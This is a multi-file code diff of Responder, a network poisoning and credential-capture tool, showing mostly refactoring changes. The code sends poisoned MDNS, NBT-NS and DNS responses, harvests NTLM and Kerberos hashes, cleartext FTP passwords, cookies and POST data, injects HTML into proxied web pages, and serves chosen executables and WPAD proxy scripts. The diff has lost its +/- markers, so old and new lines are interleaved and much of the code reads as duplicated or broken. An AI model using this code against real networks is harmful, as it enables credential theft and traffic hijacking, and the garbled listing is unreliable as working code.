if settings.Config.AnalyzeMode: # Analyze Mode
if Parse_IPV6_Addr(data):
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
else: # Poisoning Mode
if Parse_IPV6_Addr(data):
# Poisoning Mode
else:
if Parse_IPV6_Addr(data):
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To))
Buffer.calculate()
soc.sendto(str(Buffer), (MADDR, MPORT))
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
Buffer.calculate()
soc.sendto(str(Buffer), (MADDR, MPORT))
except Exception:
raise
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,8 +14,6 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import settings
import fingerprint
from packets import NBT_Ans
@@ -26,20 +24,15 @@ from utils import *
def Validate_NBT_NS(data):
if settings.Config.AnalyzeMode:
return False
if NBT_NS_Role(data[43:46]) == "File Server":
elif NBT_NS_Role(data[43:46]) == "File Server":
return True
if settings.Config.NBTNSDomain == True:
elif settings.Config.NBTNSDomain:
if NBT_NS_Role(data[43:46]) == "Domain Controller":
return True
if settings.Config.Wredirect == True:
elif settings.Config.Wredirect:
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector":
return True
else:
return False
return False
# NBT_NS Server class.
class NBTNS(BaseRequestHandler):
@@ -54,19 +47,14 @@ class NBTNS(BaseRequestHandler):
return None
if data[2:4] == "\x01\x10":
Finger = None
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
else:
Finger = None
# Analyze Mode
if settings.Config.AnalyzeMode:
if settings.Config.AnalyzeMode: # Analyze Mode
LineHeader = "[Analyze mode: NBT-NS]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
# Poisoning Mode
else:
else: # Poisoning Mode
Buffer = NBT_Ans()
Buffer.calculate(data)
socket.sendto(str(Buffer), self.client_address)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,30 +14,30 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import settings
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
from SocketServer import BaseRequestHandler
from utils import *
import struct
def WorkstationFingerPrint(data):
Role = {
return {
"\x04\x00" :"Windows 95",
"\x04\x10" :"Windows 98",
"\x04\x90" :"Windows ME",
"\x05\x00" :"Windows 2000",
"\x05\x00" :"Windows XP",
"\x05\x02" :"Windows 2003",
"\x05\x01" :"Windows XP",
"\x05\x02" :"Windows XP(64-Bit)/Windows 2003",
"\x06\x00" :"Windows Vista/Server 2008",
"\x06\x01" :"Windows 7/Server 2008R2",
}
"\x06\x02" :"Windows 8/Server 2012",
"\x06\x03" :"Windows 8.1/Server 2012R2",
"\x10\x00" :"Windows 10/Server 2016",
}.get(data, 'Unknown')
return Role[data] if data in Role else "Unknown"
def RequestType(data):
Type = {
return {
"\x01": 'Host Announcement',
"\x02": 'Request Announcement',
"\x08": 'Browser Election',
@@ -48,30 +48,23 @@ def RequestType(data):
"\x0d": 'Master Announcement',
"\x0e": 'Reset Browser State Announcement',
"\x0f": 'Local Master Announcement',
}
}.get(data, 'Unknown')
return Type[data] if data in Type else "Unknown"
def PrintServerName(data, entries):
if entries > 0:
if entries <= 0:
return None
entrieslen = 26 * entries
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
entrieslen = 26*entries
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
l = []
for x in ServerName:
fingerprint = WorkstationFingerPrint(x[16:18])
name = x[:16].replace('\x00', '')
l.append('%s (%s)' % (name, fingerprint))
return l
l = []
for x in ServerName:
FP = WorkstationFingerPrint(x[16:18])
Name = x[:16].replace('\x00', '')
if FP:
l.append(Name + ' (%s)' % FP)
else:
l.append(Name)
return l
return None
def ParsePacket(Payload):
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
@@ -80,9 +73,8 @@ def ParsePacket(Payload):
if StatusCode == "\x00\x00":
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
return PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
return None
else:
return None
def RAPThisDomain(Client,Domain):
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
@@ -97,6 +89,7 @@ def RAPThisDomain(Client,Domain):
if WKST is not None:
print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
def RapFinger(Host, Domain, Type):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@@ -198,8 +191,7 @@ class Browser(BaseRequestHandler):
if settings.Config.AnalyzeMode:
ParseDatagramNBTNames(request,self.client_address[0])
BecomeBackup(request,self.client_address[0])
BecomeBackup(request,self.client_address[0])
except Exception:
pass
pass

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,8 +14,6 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re
from packets import DNS_Ans
from SocketServer import BaseRequestHandler
from utils import *
@@ -24,13 +22,12 @@ def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:]
# If Type A, Class IN, then answer.
return True if QueryTypeClass == "\x00\x01\x00\x01" else False
return QueryTypeClass == "\x00\x01\x00\x01"
# DNS Server class
class DNS(BaseRequestHandler):
def handle(self):
# Break out if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True:
return None
@@ -43,7 +40,7 @@ class DNS(BaseRequestHandler):
buff.calculate(data)
soc.sendto(str(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
except Exception:
@@ -51,9 +48,7 @@ class DNS(BaseRequestHandler):
# DNS Server TCP Class
class DNSTCP(BaseRequestHandler):
def handle(self):
# Break out if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True:
return None
@@ -61,7 +56,7 @@ class DNSTCP(BaseRequestHandler):
try:
data = self.request.recv(1024)
if ParseDNSType(data) and settings.Config.AnalyzeMode == False:
if ParseDNSType(data) and settings.Config.AnalyzeMode is False:
buff = DNS_Ans()
buff.calculate(data)
self.request.send(str(buff))
@@ -70,4 +65,4 @@ class DNSTCP(BaseRequestHandler):
print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
except Exception:
pass
pass

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,9 +14,6 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
from utils import *
from SocketServer import BaseRequestHandler
from packets import FTPPacket
@@ -47,7 +44,7 @@ class FTP(BaseRequestHandler):
'client': self.client_address[0],
'user': User,
'cleartext': Pass,
'fullhash': User+':'+Pass
'fullhash': User + ':' + Pass
})
else:
@@ -56,4 +53,4 @@ class FTP(BaseRequestHandler):
data = self.request.recv(1024)
except Exception:
pass
pass

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,21 +14,18 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer
from base64 import b64decode, b64encode
from SocketServer import BaseRequestHandler, StreamRequestHandler
from base64 import b64decode
from utils import *
from packets import NTLM_Challenge
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer
from packets import WPADScript, ServeExeFile, ServeHtmlFile
# Parse NTLMv1/v2 hash.
def ParseHTTPHash(data, client):
def ParseHTTPHash(data, client, module):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
@@ -46,9 +43,8 @@ def ParseHTTPHash(data, client):
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
SaveToDb({
'module': 'HTTP',
'module': module,
'type': 'NTLMv1',
'client': client,
'host': HostName,
@@ -66,53 +62,90 @@ def ParseHTTPHash(data, client):
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
SaveToDb({
'module': 'HTTP',
'module': module,
'type': 'NTLMv2',
'client': client,
'host': HostName,
'user': Domain+'\\'+User,
'hash': NTHash[:32]+":"+NTHash[32:],
'user': Domain + '\\' + User,
'hash': NTHash[:32] + ":" + NTHash[32:],
'fullhash': WriteHash,
})
def GrabCookie(data, host):
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
if Cookie:
Cookie = Cookie.group(0).replace('Cookie: ', '')
if len(Cookie) > 1 and settings.Config.Verbose:
print text("[HTTP] Cookie : %s " % Cookie)
return Cookie
else:
return False
return False
def GrabHost(data, host):
Host = re.search('(Host:*.\=*)[^\r\n]*', data)
Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
if Host:
Host = Host.group(0).replace('Host: ', '')
if settings.Config.Verbose:
print text("[HTTP] Host : %s " % color(Host, 3))
return Host
else:
return False
return False
def GrabReferer(data, host):
Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
if Referer:
Referer = Referer.group(0).replace('Referer: ', '')
if settings.Config.Verbose:
print text("[HTTP] Referer : %s " % color(Referer, 3))
return Referer
return False
def SpotFirefox(data):
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
if UserAgent:
print text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2))
IsFirefox = re.search('Firefox', UserAgent[0])
if IsFirefox:
print color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1)
print color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1)
return True
else:
return False
def WpadCustom(data, client):
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
if Wpad:
Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
if Wpad and SpotFirefox(data):
Buffer = WPADScript(Payload="function FindProxyForURL(url, host){return 'DIRECT';}")
Buffer.calculate()
return str(Buffer)
if Wpad and SpotFirefox(data) == False:
Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
Buffer.calculate()
return str(Buffer)
else:
return False
return False
def IsWebDAV(data):
dav = re.search('PROPFIND', data)
if dav:
return True
else:
return False
def ServeOPTIONS(data):
WebDav= re.search('OPTIONS', data)
if WebDav:
Buffer = WEBDAV_Options_Answer()
return str(Buffer)
return False
def ServeFile(Filename):
with open (Filename, "rb") as bk:
data = bk.read()
bk.close()
return data
return bk.read()
def RespondWithFile(client, filename, dlname=None):
@@ -123,42 +156,45 @@ def RespondWithFile(client, filename, dlname=None):
Buffer.calculate()
print text("[HTTP] Sending file %s to %s" % (filename, client))
return str(Buffer)
def GrabURL(data, host):
GET = re.findall('(?<=GET )[^HTTP]*', data)
POST = re.findall('(?<=POST )[^HTTP]*', data)
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
GET = re.findall(r'(?<=GET )[^HTTP]*', data)
POST = re.findall(r'(?<=POST )[^HTTP]*', data)
POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data)
if GET and settings.Config.Verbose:
print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))
if POST and settings.Config.Verbose:
print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5)))
if len(''.join(POSTDATA)) > 2:
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
# Handle HTTP packet sequence.
def PacketSequence(data, client):
NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
# Serve the .exe if needed
if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)):
if settings.Config.Serve_Always is True or (settings.Config.Serve_Exe is True and re.findall('.exe', data)):
return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
# Serve the custom HTML if needed
if settings.Config.Serve_Html == True:
if settings.Config.Serve_Html:
return RespondWithFile(client, settings.Config.Html_Filename)
WPAD_Custom = WpadCustom(data, client)
# Webdav
if ServeOPTIONS(data):
return ServeOPTIONS(data)
if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == "\x01":
GrabURL(data, client)
GrabReferer(data, client)
GrabHost(data, client)
GrabCookie(data, client)
@@ -167,17 +203,20 @@ def PacketSequence(data, client):
Buffer_Ans = IIS_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(Buffer))
return str(Buffer_Ans)
if Packet_NTLM == "\x03":
NTLM_Auth = b64decode(''.join(NTLM_Auth))
ParseHTTPHash(NTLM_Auth, client)
if IsWebDAV(data):
module = "WebDAV"
else:
module = "HTTP"
ParseHTTPHash(NTLM_Auth, client, module)
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client)
return WPAD_Custom
return WPAD_Custom
else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate()
@@ -187,6 +226,7 @@ def PacketSequence(data, client):
ClearText_Auth = b64decode(''.join(Basic_Auth))
GrabURL(data, client)
GrabReferer(data, client)
GrabHost(data, client)
GrabCookie(data, client)
@@ -201,15 +241,14 @@ def PacketSequence(data, client):
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
if settings.Config.Verbose:
print text("[HTTP] WPAD (auth) file sent to %s" % client)
return WPAD_Custom
return WPAD_Custom
else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate()
return str(Buffer)
else:
if settings.Config.Basic == True:
if settings.Config.Basic:
Response = IIS_Basic_401_Ans()
if settings.Config.Verbose:
print text("[HTTP] Sending BASIC authentication request to %s" % client)
@@ -226,8 +265,8 @@ class HTTP(BaseRequestHandler):
def handle(self):
try:
while True:
self.request.settimeout(1)
for x in range(2):
self.request.settimeout(3)
data = self.request.recv(8092)
Buffer = WpadCustom(data, self.client_address[0])
@@ -251,42 +290,18 @@ class HTTPS(StreamRequestHandler):
def handle(self):
try:
while True:
data = self.exchange.recv(8092)
self.exchange.settimeout(0.5)
Buffer = WpadCustom(data,self.client_address[0])
data = self.exchange.recv(8092)
self.exchange.settimeout(0.5)
Buffer = WpadCustom(data,self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.exchange.send(Buffer)
if settings.Config.Verbose:
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.exchange.send(Buffer)
if settings.Config.Verbose:
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
else:
Buffer = PacketSequence(data,self.client_address[0])
self.exchange.send(Buffer)
else:
Buffer = PacketSequence(data,self.client_address[0])
self.exchange.send(Buffer)
except:
pass
# SSL context handler
class SSLSock(ThreadingMixIn, TCPServer):
def __init__(self, server_address, RequestHandlerClass):
from OpenSSL import SSL
BaseServer.__init__(self, server_address, RequestHandlerClass)
ctx = SSL.Context(SSL.SSLv3_METHOD)
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
ctx.use_privatekey_file(key)
ctx.use_certificate_file(cert)
self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
self.server_bind()
self.server_activate()
def shutdown_request(self,request):
try:
request.shutdown()
except:
pass

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,8 +14,6 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
import urlparse
import select
import zlib
@@ -29,7 +27,7 @@ IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com',
def InjectData(data, client, req_uri):
# Serve the .exe if needed
if settings.Config.Serve_Always == True:
if settings.Config.Serve_Always:
return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
# Serve the .exe if needed and client requested a .exe
@@ -43,39 +41,33 @@ def InjectData(data, client, req_uri):
return data
RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307']
if [s for s in RedirectCodes if s in Headers]:
if set(RedirectCodes) & set(Headers):
return data
if "content-encoding: gzip" in Headers.lower():
Content = zlib.decompress(Content, 16+zlib.MAX_WBITS)
if "content-type: text/html" in Headers.lower():
# Serve the custom HTML if needed
if settings.Config.Serve_Html == True:
if settings.Config.Serve_Html: # Serve the custom HTML if needed
return RespondWithFile(client, settings.Config.Html_Filename)
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
HasBody = re.findall('(<body[^>]*>)', Content)
Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers))
HasBody = re.findall(r'(<body[^>]*>)', Content)
if HasBody and len(settings.Config.HtmlToInject) > 2:
if settings.Config.Verbose:
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))
Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject))
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content)))
if "content-encoding: gzip" in Headers.lower():
Content = zlib.compress(Content)
data = Headers +'\r\n'+ Content
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content)))
data = Headers +'\r\n\r\n'+ Content
else:
if settings.Config.Verbose:
print text("[PROXY] Returning unmodified HTTP response")
return data
class ProxySock:
@@ -96,19 +88,17 @@ class ProxySock:
def connect(self, address) :
# Store the real remote adress
(self.host, self.port) = address
self.host, self.port = address
# Try to connect to the proxy
for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo(
self.proxy_host,
self.proxy_port,
0, 0, socket.SOL_TCP) :
0, 0, socket.SOL_TCP):
try:
# Replace the socket by a connection to the proxy
self.socket = socket.socket(family, socktype, proto)
self.socket.connect(sockaddr)
except socket.error, msg:
if self.socket:
self.socket.close()
@@ -116,12 +106,12 @@ class ProxySock:
continue
break
if not self.socket :
raise socket.error, ms
raise socket.error, msg
# Ask him to create a tunnel connection to the target host/port
self.socket.send(
("CONNECT %s:%d HTTP/1.1\r\n" +
"Host: %s:%d\r\n\r\n") % (self.host, self.port, self.host, self.port));
"Host: %s:%d\r\n\r\n") % (self.host, self.port, self.host, self.port))
# Get the response
resp = self.socket.recv(4096)
@@ -198,7 +188,7 @@ class ProxySock:
# Return the (host, port) of the actual target, not the proxy gateway
def getpeername(self) :
return (self.host, self.port)
return self.host, self.port
# Inspired from Tiny HTTP proxy, original work: SUZUKI Hisao.
class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
@@ -268,7 +258,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
#self.send_error(200, "OK")
return
if scm not in ('http') or fragment or not netloc:
if scm not in 'http' or fragment or not netloc:
self.send_error(400, "bad url %s" % self.path)
return
@@ -354,3 +344,4 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
do_POST = do_GET
do_PUT = do_GET
do_DELETE=do_GET

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,16 +14,11 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
from utils import *
from SocketServer import BaseRequestHandler
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
# IMAP4 Server class
class IMAP(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(IMAPGreeting()))
@@ -50,6 +45,5 @@ class IMAP(BaseRequestHandler):
## FIXME: Close connection properly
## self.request.send(str(ditchthisconnection()))
## data = self.request.recv(1024)
except Exception:
pass
pass

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,12 +14,9 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
from SocketServer import BaseRequestHandler
from utils import *
import struct
def ParseMSKerbv5TCP(Data):
MsgType = Data[21:22]
@@ -50,8 +47,7 @@ def ParseMSKerbv5TCP(Data):
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if HashLen == 54:
elif HashLen == 54:
Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0]
@@ -60,7 +56,6 @@ def ParseMSKerbv5TCP(Data):
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
Hash = Data[48:100]
SwitchHash = Hash[16:]+Hash[0:16]
@@ -70,8 +65,7 @@ def ParseMSKerbv5TCP(Data):
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
return False
return False
def ParseMSKerbv5UDP(Data):
MsgType = Data[17:18]
@@ -80,7 +74,6 @@ def ParseMSKerbv5UDP(Data):
if MsgType == "\x0a" and EncType == "\x17":
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[41:42])[0]
if HashLen == 54:
Hash = Data[44:96]
SwitchHash = Hash[16:]+Hash[0:16]
@@ -90,8 +83,7 @@ def ParseMSKerbv5UDP(Data):
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if HashLen == 53:
elif HashLen == 53:
Hash = Data[44:95]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[143:144])[0]
@@ -100,8 +92,6 @@ def ParseMSKerbv5UDP(Data):
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
Hash = Data[49:101]
SwitchHash = Hash[16:]+Hash[0:16]
@@ -111,49 +101,39 @@ def ParseMSKerbv5UDP(Data):
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
return False
return False
class KerbTCP(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(1024)
KerbHash = ParseMSKerbv5TCP(data)
data = self.request.recv(1024)
KerbHash = ParseMSKerbv5TCP(data)
if KerbHash:
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
if KerbHash:
n, krb, v, name, domain, d, h = KerbHash.split('$')
SaveToDb({
'module': 'KERB',
'type': 'MSKerbv5',
'client': self.client_address[0],
'user': domain+'\\'+name,
'hash': h,
'fullhash': KerbHash,
})
except Exception:
raise
SaveToDb({
'module': 'KERB',
'type': 'MSKerbv5',
'client': self.client_address[0],
'user': domain+'\\'+name,
'hash': h,
'fullhash': KerbHash,
})
class KerbUDP(BaseRequestHandler):
def handle(self):
try:
data, soc = self.request
KerbHash = ParseMSKerbv5UDP(data)
if KerbHash:
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
data, soc = self.request
KerbHash = ParseMSKerbv5UDP(data)
SaveToDb({
'module': 'KERB',
'type': 'MSKerbv5',
'client': self.client_address[0],
'user': domain+'\\'+name,
'hash': h,
'fullhash': KerbHash,
})
if KerbHash:
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
except Exception:
raise
SaveToDb({
'module': 'KERB',
'type': 'MSKerbv5',
'client': self.client_address[0],
'user': domain+'\\'+name,
'hash': h,
'fullhash': KerbHash,
})

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,24 +14,17 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
from SocketServer import BaseRequestHandler
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
from utils import *
import struct
def ParseSearch(data):
Search1 = re.search('(objectClass)', data)
Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
if Search1:
if re.search(r'(objectClass)', data):
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
if Search2:
elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data):
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
if Search3:
elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
def ParseLDAPHash(data, client):
@@ -54,7 +47,7 @@ def ParseLDAPHash(data, client):
